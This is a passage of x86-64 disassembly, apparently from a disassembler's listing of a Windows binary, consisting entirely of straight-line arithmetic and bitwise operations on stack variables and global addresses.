mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x237]
add eax, ecx
mov rcx, qword [rsp + 0xc430]
mov byte [rcx], al
lea rax, [rsp + 0x4c28]
mov qword [rsp + 0xce60], rax
mov eax, dword [rsp + 0x4610]
mov ecx, dword [rsp + 0x4c20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x192]
movsx ecx, byte [str.Sb]
add eax, ecx
mov rcx, qword [0x14019ddc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xba28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc3f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11b8], ax
mov rax, qword [rsp + 0xcd48]
movzx eax, word [rax]
mov word [rsp + 0x138c], ax
movzx eax, byte [0x14019bf3b]
movzx ecx, byte [rsp + 0x18a]
sar eax, cl
mov rcx, qword [rsp + 0xcab0]
mov byte [rcx], al
lea rax, [rsp + 0x46d8]
mov qword [rsp + 0xce68], rax
mov rax, qword [rsp + 0xb680]
mov ecx, dword [rsp + 0x422c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0xba98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
mov dword [rsp + 0x4ce4], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x4240]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb908]
mov dword [rcx], eax
mov rax, qword [0x14019da10]
movzx eax, byte [rax]
mov byte [rsp + 0x285], al
lea rax, [rsp + 0xd68]
mov qword [0x14019df10], rax
mov rax, qword [rsp + 0xc058]
mov rcx, qword [rsp + 0xbf58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b2c], eax
mov rax, qword [0x14019dc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4778]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4508]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0xba90]
mov rcx, qword [rsp + 0xb278]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbfd0]
mov dword [rcx], eax
mov rax, qword [0x14019db00]
movzx eax, byte [rax]
mov byte [rsp + 0x286], al
mov rax, qword [rsp + 0xcdc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc118]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1128], ax
movsx eax, byte [rsp + 0x213]
mov rcx, qword [rsp + 0xc3d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa638]
mov byte [rcx], al
movzx eax, word [rsp + 0x108c]
mov word [rsp + 0x1390], ax
mov eax, dword [rsp + 0x4388]
mov dword [0x14019df18], eax
mov rax, qword [rsp + 0xaf78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4520], eax
mov rax, qword [0x14019da60]
movzx eax, byte [rax]
mov byte [rsp + 0x287], al
movzx eax, word [rsp + 0x1044]
movzx ecx, word [rsp + 0xdb8]
add eax, ecx
mov word [rsp + 0xbdc], ax
lea rax, [rsp + 0x488c]
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xc0a8]
mov rcx, qword [0x14019de18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc9d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3694]
mov ecx, dword [rsp + 0x4708]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb938]
mov dword [rcx], eax
lea rax, [rsp + 0x4644]
mov qword [rsp + 0xce78], rax
mov rax, qword [rsp + 0xad18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
or eax, ecx
mov rcx, qword [rsp + 0xb448]
mov byte [rcx], al
movzx eax, word [rsp + 0x1354]
movzx ecx, word [rsp + 0x10b0]
sar eax, cl
mov rcx, qword [0x14019dc88]
mov word [rcx], ax
mov rax, qword [rsp + 0xba68]
mov eax, dword [rax]
mov dword [rsp + 0x4ce8], eax
mov rax, qword [rsp + 0xbff0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4714]
shl eax, cl
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0xb248]
mov ecx, dword [rsp + 0x4ad0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4a1c], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov dword [rsp + 0x4cec], eax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x45dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ca4], eax
movzx eax, byte [rsp + 0x27d]
mov byte [rsp + 0x288], al
mov rax, qword [rsp + 0xc120]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc94], ax
mov rax, qword [0x14019dbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0xb130]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb258]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019d9f8]
mov byte [rcx], al
lea rax, [rsp + 0x427c]
mov qword [rsp + 0xce80], rax
mov eax, dword [rsp + 0x4cc8]
mov ecx, dword [rsp + 0x4924]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x289], al
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f4]
and eax, ecx
mov word [rsp + 0x12a0], ax
mov rax, qword [rsp + 0xc7e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d90], eax
mov eax, dword [rsp + 0x45a8]
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0xb8d0]
mov rcx, qword [rsp + 0xac68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xca38]
mov dword [rcx], eax
lea rax, [rsp + 0x3460]
mov qword [rsp + 0xce88], rax
lea rax, [rsp + 0x22b]
mov qword [0x14019df20], rax
movzx eax, word [rsp + 0x1374]
mov rcx, qword [rsp + 0xad50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0xacc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bf34]
shl eax, cl
mov dword [rsp + 0x3948], eax
mov eax, dword [rsp + 0x4c68]
mov rcx, qword [rsp + 0xb9d0]
mov qword [rsp + 0xce90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0xabd8]
movsx eax, byte [rax]
movsx ecx, byte [0x140199008]
xor eax, ecx
mov byte [rsp + 0x1d4], al
lea rax, [rsp + 0x1088]
mov qword [rsp + 0xce98], rax
movzx eax, byte [rsp + 0x204]
mov rcx, qword [rsp + 0xb678]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x246], al
lea rax, [0x14019bfb0]
mov qword [rsp + 0xcea0], rax
mov eax, dword [rsp + 0x4ce0]
mov ecx, dword [rsp + 0x4b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4418], eax
mov rax, qword [rsp + 0xcdd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4574]
add ecx, eax
mov eax, ecx
mov dword [0x14019dc78], eax
mov rax, qword [0x14019d978]
mov ecx, dword [rsp + 0x3d34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ab0], eax
mov eax, dword [rsp + 0x4ba0]
mov dword [rsp + 0x4cf4], eax
mov rax, qword [rsp + 0xc0c0]
mov ecx, dword [rsp + 0x468c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3624], eax
mov rax, qword [rsp + 0xb840]
movzx eax, byte [rax]
mov byte [rsp + 0x28a], al
mov rax, qword [rsp + 0xb270]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb9c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
lea rax, [0x14019bf34]
mov qword [rsp + 0xcea8], rax
mov eax, dword [rsp + 0x4b4c]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a8], eax
mov rax, qword [rsp + 0xc410]
mov ecx, dword [str.Po.b]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c098], eax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0xceb0], rax
mov rax, qword [rsp + 0xc9f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcc88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x275]
mov byte [rsp + 0x28b], al
mov rax, qword [0x14019d940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xba08]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe58]
mov rcx, qword [rsp + 0xc2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xcba8]
mov dword [rcx], eax
lea rax, [rsp + 0x482c]
mov qword [rsp + 0xceb8], rax
mov rax, qword [0x14019d8b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x200]
shl eax, cl
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
lea rax, [rsp + 0x116c]
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xb190]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c084], eax
mov eax, dword [rsp + 0x4b64]
mov ecx, dword [0x14019bf84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4438], eax
mov eax, dword [rsp + 0x4240]
mov ecx, dword [rsp + 0x4520]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a94], eax
mov eax, dword [rsp + 0x49c8]
mov dword [rsp + 0x4cf8], eax
movzx eax, word [0x14019c04c]
mov rcx, qword [rsp + 0xb1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11f8], ax
lea rax, [rsp + 0x231]
mov qword [rsp + 0xcec8], rax
mov eax, dword [rsp + 0x4408]
mov ecx, dword [rsp + 0x46ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c10], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4578]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c78], eax
mov eax, dword [rsp + 0x4b98]
mov dword [rsp + 0x4cfc], eax
lea rax, [rsp + 0x3de0]
mov qword [0x14019df28], rax
mov rax, qword [0x14019da90]
mov ecx, dword [rsp + 0x4684]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ad8], eax
lea rax, [rsp + 0x14b]
mov qword [rsp + 0xced0], rax
mov rax, qword [rsp + 0xc538]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1138]
add eax, ecx
mov rcx, qword [rsp + 0xbee0]
mov word [rcx], ax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc5f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bb], al
lea rax, [rsp + 0x1198]
mov qword [rsp + 0xced8], rax
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3664]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
lea rax, [rsp + 0x489c]
mov qword [rsp + 0xcee0], rax
mov rax, qword [rsp + 0xb4d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x138c]
and eax, ecx
mov rcx, qword [rsp + 0xcd30]
mov word [rcx], ax
lea rax, [rsp + 0x261]
mov qword [0x14019df30], rax
lea rax, [rsp + 0x4a08]
mov qword [rsp + 0xcee8], rax
mov eax, dword [rsp + 0x4308]
mov rcx, qword [rsp + 0xbe40]
mov qword [rsp + 0xcef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcef0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4484], eax
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaad8]
mov qword [rsp + 0xcef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcef8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbe40]
mov dword [rcx], eax
lea rax, [0x14019bfd8]
mov qword [rsp + 0xcf00], rax
movzx eax, word [rsp + 0x1214]
movzx ecx, word [rsp + 0x10d4]
or eax, ecx
mov word [rsp + 0x124c], ax
mov rax, qword [rsp + 0xc468]
movzx eax, byte [rax]
mov byte [rsp + 0x28c], al
mov eax, dword [0x14019bf40]
mov ecx, dword [rsp + 0x3590]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa770]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xab48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb1a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc2c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf30]
add eax, ecx
mov word [0x14019db80], ax
mov rax, qword [0x14019ddc0]
movzx eax, byte [rax]
mov byte [rsp + 0x28d], al
mov rax, qword [rsp + 0xb828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x105c]
and eax, ecx
mov rcx, qword [rsp + 0xc6b8]
mov word [rcx], ax
lea rax, [rsp + 0x172]
mov qword [rsp + 0xcf08], rax
mov rax, qword [0x14019db78]
mov ecx, dword [rsp + 0x47cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43d0], eax
mov rax, qword [rsp + 0xb550]
mov rcx, qword [rsp + 0xc058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48d8], eax
lea rax, [rsp + 0x48c4]
mov qword [rsp + 0xcf10], rax
mov rax, qword [0x14019dcc8]
mov ecx, dword [rsp + 0x4304]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xccd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb790]
mov eax, dword [rax]
mov dword [rsp + 0x4d00], eax
movzx eax, byte [rsp + 0x1f7]
movzx ecx, byte [rsp + 0x1b5]
sub eax, ecx
mov rcx, qword [rsp + 0xb258]
mov byte [rcx], al
mov rax, qword [0x14019dbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019db18], ax
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0xcd90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3618], eax
mov eax, dword [rsp + 0x4728]
mov ecx, dword [rsp + 0x4584]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb648]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ce4], eax
mov eax, dword [rsp + 0x33b8]
mov dword [rsp + 0x4d04], eax
mov rax, qword [0x14019dd58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
xor eax, ecx
mov word [rsp + 0x134c], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xcf18], rax
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc438]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0x213]
mov rcx, qword [rsp + 0xcb68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xc488]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc070]
mov qword [rsp + 0xcf20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf20]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019c09c], eax
lea rax, [rsp + 0x4394]
mov qword [rsp + 0xcf28], rax
movzx eax, word [0x14019c080]
movzx ecx, word [rsp + 0xf54]
and eax, ecx
mov word [rsp + 0xfb8], ax
lea rax, [rsp + 0x281]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xb3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov ecx, dword [0x14019d834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0xc1c0]
mov eax, dword [rax]
mov dword [rsp + 0x4d08], eax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0xbc70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x48fc], eax
lea rax, [rsp + 0xf64]
mov qword [rsp + 0xcf38], rax
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0xbf]
sub eax, ecx
mov byte [0x14019bf6f], al
mov rax, qword [0x14019dce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x346c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x428c], eax
mov rax, qword [rsp + 0xcc48]
mov rcx, qword [rsp + 0xc138]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49d8], eax
lea rax, [rsp + 0x43e0]
mov qword [rsp + 0xcf40], rax
mov rax, qword [0x14019dc40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b88], eax
lea rax, [rsp + 0x4bc8]
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xa928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa6b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x28e], al
movzx eax, byte [0x14019bf57]
mov rcx, qword [rsp + 0xc450]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc080]
mov byte [rcx], al
lea rax, [rsp + 0xbfc]
mov qword [0x14019df38], rax
mov rax, qword [rsp + 0xba90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcdd0]
mov qword [rsp + 0xcf50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4cd0], eax
lea rax, [rsp + 0x46c8]
mov qword [rsp + 0xcf58], rax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x212]
sar eax, cl
mov rcx, qword [rsp + 0xa570]
mov byte [rcx], al
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0x1394], ax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [0x14019c034]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ac4], eax
mov eax, dword [rsp + 0x4544]
mov ecx, dword [rsp + 0x3348]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42c0], eax
lea rax, [rsp + 0x4b18]
mov qword [rsp + 0xcf60], rax
mov rax, qword [0x14019de90]
mov ecx, dword [rsp + 0x4168]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019900e], al
lea rax, [rsp + 0x1268]
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xb030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4af0], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4580]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc570]
mov dword [rcx], eax
lea rax, [rsp + 0x109c]
mov qword [rsp + 0xcf70], rax
movsx eax, byte [0x14019d796]
movsx ecx, byte [rsp + 0x1e4]
and eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0xb130]
movzx eax, byte [rax]
mov byte [rsp + 0x28f], al
movzx eax, word [rsp + 0x118c]
movzx ecx, word [rsp + 0x111c]
sub eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0xc070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42c8], eax
mov rax, qword [rsp + 0xca00]
mov eax, dword [rax]
mov dword [0x14019df40], eax
mov rax, qword [rsp + 0xb3b8]
mov eax, dword [rax]
mov dword [rsp + 0x4d0c], eax
mov eax, dword [rsp + 0x4cd4]
mov ecx, dword [0x14019d840]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4148], eax
lea rax, [rsp + 0x4ac8]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb828]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xced8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x264]
mov byte [rsp + 0x290], al
mov eax, dword [rsp + 0x4634]
mov ecx, dword [rsp + 0x38a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b8], eax
mov eax, dword [rsp + 0x4aec]
mov rcx, qword [rsp + 0xa4a8]
mov qword [rsp + 0xcf80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf80]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4c4c], eax
mov eax, dword [rsp + 0x47e8]
mov dword [rsp + 0x4d10], eax
mov eax, dword [rsp + 0x4584]
movzx ecx, al
mov eax, dword [rsp + 0x4328]
shl eax, cl
mov dword [0x14019c0a0], eax
mov rax, qword [rsp + 0xba00]
movzx eax, word [rax]
movzx ecx, word [0x14019bfb0]
xor eax, ecx
mov word [rsp + 0x1248], ax
lea rax, [rsp + 0x244]
mov qword [rsp + 0xcf88], rax
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0xba70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0xa6d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0xcf58]
mov rcx, qword [rsp + 0xabb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34c8], eax
mov rax, qword [rsp + 0xcb00]
mov rcx, qword [rsp + 0xb058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49e8], eax
mov rax, qword [0x14019dbc8]
movzx eax, byte [rax]
mov byte [rsp + 0x291], al
movzx eax, word [rsp + 0x12ec]
movzx ecx, word [rsp + 0x1380]
sub eax, ecx
mov word [rsp + 0xee4], ax
mov eax, dword [rsp + 0x4cb4]
mov ecx, dword [rsp + 0x43e4]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf68], eax
mov rax, qword [rsp + 0xc1b0]
mov rcx, qword [rsp + 0xb110]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0xa6a0]
mov eax, dword [rax]
mov dword [rsp + 0x4d14], eax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ca4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc470]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb930]
movzx eax, word [rax]
mov word [rsp + 0x1398], ax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0b8]
mov byte [rcx], al
lea rax, [rsp + 0x426c]
mov qword [rsp + 0xcf90], rax
mov rax, qword [rsp + 0xb0e0]
mov rcx, qword [rsp + 0xaf90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4488], eax
mov eax, dword [rsp + 0x4ca0]
mov ecx, dword [rsp + 0x47b4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4844], eax
mov eax, dword [rsp + 0x3c74]
mov rcx, qword [rsp + 0xafe0]
mov qword [rsp + 0xcf98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019c0a4], eax
lea rax, [rsp + 0x40e4]
mov qword [rsp + 0xcfa0], rax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab20]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x169], al
lea rax, [rsp + 0xd48]
mov qword [rsp + 0xcfa8], rax
movzx eax, word [rsp + 0x1370]
mov rcx, qword [rsp + 0xc740]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0xcf30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
and eax, ecx
mov byte [rsp + 0x21e], al
mov eax, dword [0x14019d908]
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0xaad0]
mov ecx, dword [rsp + 0x42d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45c0], eax
lea rax, [rsp + 0x1bf]
mov qword [rsp + 0xcfb0], rax
movzx eax, word [rsp + 0xf3c]
movzx ecx, word [rsp + 0x1158]
add eax, ecx
mov rcx, qword [0x14019d878]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd78]
mov rcx, qword [rsp + 0xc1c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42a0], eax
mov rax, qword [rsp + 0xbef0]
mov eax, dword [rax]
mov dword [rsp + 0x4d1c], eax
mov eax, dword [rsp + 0x43b0]
mov ecx, dword [rsp + 0x425c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a54], eax
lea rax, [rsp + 0x105c]
mov qword [rsp + 0xcfb8], rax
mov rax, qword [rsp + 0xaee8]
movzx eax, byte [rax]
mov rcx, qword [0x14019d818]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0xbb80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4480]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbd8]
mov dword [rcx], eax
lea rax, [rsp + 0x4bac]
mov qword [rsp + 0xcfc0], rax
mov rax, qword [rsp + 0xc7d0]
movzx eax, byte [rax]
mov byte [0x14019d7e7], al
mov rax, qword [0x14019dae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1074]
sub eax, ecx
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
lea rax, [rsp + 0x24f]
mov qword [rsp + 0xcfc8], rax
mov rax, qword [rsp + 0xb758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc668]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10cc], ax
mov eax, dword [rsp + 0x36b4]
mov dword [rsp + 0x4d20], eax
mov rax, qword [rsp + 0xbb38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43f4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a8], eax
mov eax, dword [0x14019c090]
mov rcx, qword [rsp + 0xc1e8]
mov qword [rsp + 0xcfd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4184], eax
lea rax, [rsp + 0x4520]
mov qword [rsp + 0xcfd8], rax
mov eax, dword [rsp + 0x42a8]
movzx ecx, al
mov eax, dword [rsp + 0x4a8c]
shl eax, cl
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0xcfe0], rax
movzx eax, word [0x14019dd50]
